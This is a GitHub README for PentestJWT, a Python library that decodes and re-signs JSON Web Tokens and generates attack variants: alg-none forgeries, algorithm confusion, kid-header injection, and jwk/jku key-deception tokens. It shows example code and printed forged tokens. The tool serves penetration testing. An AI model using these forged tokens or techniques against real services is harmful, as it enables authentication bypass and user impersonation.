Skip to content

sergioms/PentestJWT

Repository files navigation

PentestJWT

Small and simple library for JWTS, only use cases found to be useful are added. Performs simple operations on JWT:

  • decodes and encodes JWTs
    • compute signatures (currently only for most common algorithmns, HSxxx and RSxxx)
  • generate variations of the provided JWT for most common tests:
    • None signature
    • Signature deception, set alg to HSxxx and signs using contents of file
    • Payload injection in kid, given a test payload, eg, for SQLi, injects the payload in the kid header field. Currently a new signature is not generated
    • Public key deception using JWK: when a private key is provided, the JWT header is modified to include the corresponding public key in the jwk field. JWT signature is updated using the provided private key so the signature can be verified using the public key added as jwk header field.
    • Public key deception using JKU: when a private key and a url (jku url) is provided, the JWT header is modified to include a jku field pointing to the provided jku url. JWT signature is updated using the provided private key. The payload generated, in addition to the token, contains a JWKS representation of the public key. When such JWKS is returned by the url provided as jku url, the signature can be verified.

Only Python3 supported !

Inspect and verify JWT signature

Decode a JWT:

python3 TestJWT.py jwt_token 

Decode a JWT and verify HSxxx signature (as stated in alg header field) using provided secret:

python3 TestJWT.py jwt_token -s=secret 

Decode a JWT and verify RSxxx signature (as stated in alg header field) using provided RSA Public Key in a PEM file:

python3 TestJWT.py jwt_token -p=path_to_pubkey_pem_file 

Decode a JWT and verify RSxxx signature (as stated in alg header field) using provided RSA Public Key in a JWKS file:

python3 TestJWT.py jwt_token -jwks=path_to_jwks_file 

Pentesting JWTs

Have a look at Attack.py and just write your own script or import the lib in a python interpreter.

ser_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.\
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.\
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
from Attack import Attack
attack = Attack(ser_jwt)
attack.attack_none()

And get the payloads

attack.print_payloads()
#attack_alg_none
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
#attack_alg_None
eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
#attack_alg_NONE
eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.

Playing with tokens

ser_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.\
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.\
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
from TestJWT import TestJWT
jwt = TestJWT.deserialize(ser_jwt)
jwt.set_algorithm("RS256")
jwt.payload['name'] = "Viejo Borracho"
import utils 
from cryptography.hazmat.primitives.serialization import (load_pem_private_key)
from cryptography.hazmat.backends import default_backend
pk = load_pem_private_key(utils.read_pem_file("./keys/pk1.pem"), None, default_backend())
Read PEM:
[<RSAPrivateKey(PEM string with SHA-1 digest 'ff705ecef2c700c7a86be5d3720bb15b9c99a286')>]
jwt.build_token(pk)
b'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlZpZWpvIEJvcnJhY2hvIiwiaWF0IjoxNTE2MjM5MDIyfQ.MO8lgbh1fYXte2Ocp-Bz4BAKvVAnSP705if0uX6AeC3epM3PWJjSpHxtg9gt1Om-4fP9PdfRbQiCWklCkue8722JSHGcLpY8aU3xqna15LmK8KIHWGtFosKjXSKY5OCcRda8gv-BxiKsbWaA5zWx-bSc80Hpve4Eto_nz8uOl0hbcZgJZVdbHC4782H0PmF9NNeJ3ii7AX0SYxx7teF3jlzmEJLuSA9zBaW1vciQ1rRgTnMuJcHVh3ZEy6W5dlesfzgq1KEs-BKKKuWfSziNg7-9dDs8DbtGkQNSUDSeO37wsPqEvWC5r-10XBKHCDRE5Cqs70Rx3GgBv6oqPxnrTw'

Or generate a JWKS file from a public key

jwks['keys'] = [utils.rsa_pubkey_to_jwk(pem_file=None, key_id="my_key", pubkey=pk.public_key())]
print(jwks)
{
'keys': [
          {
          'kid': 'my_key', 
          'kty': 'RSA', 
          'alg': 'RS256', 
          'n': 'oGV0P-rgmJd8qEu_0c1YYjNLt8RjBmGcy4X0RXK3lEfHjGWJggkaHFY_zP-m0uWijPl7ASq1gf7cL7w801pLXB_vUqxPyl7rP8ul_4j_ghWjGrl58yNyRBcIVh18HICCqAduvbasehRstSv0JSAP6VArEcpLGOnHI0IILclWjFQf35A4fbsVYbqs2ZUhP7C5Jq36SA5GRqq4QTKuG0YP4t1j9CEEIQUldwHcuoMzBH4GOP0eZd1EkhTw8uQvQeHtao-J0Mfh-ljFC2Rcvoysx6HwGVZIg2DlGiWttYCWzUvc5q2doFIJ640gO9KLFeOC5ebGTwnzJ_Z5jCaim2Eomw', 
          'e': 'AQAB'
          }
]}

And viceversa

pubkey: RSAPublicKey = utils.rsa_jwks_to_pubkey(jwks, "my_key")
print (pubkey.public_numbers().e)
65537
print (pubkey.public_numbers().n)
20248157676030977823199031307196283438603452191297177192508095062959894893333127804189363502090579135426885992643799907719701845114156076162892763801287693839794359613989188780264265295854770591512910017855849231832288345693602340833346549625232258681793917971210025438316041822453222564993808955986155320533416200386258455232622534914437298322896682709431897095490281101656572879401444120259719267530804258751518460214352307956561344029593294120060680902492807979550038807779060664887471087897444823115765375618049618659900484986661457181416189064352929405293506687664868592694338437385519849898374491905059404720283

Installation

TODO dependency management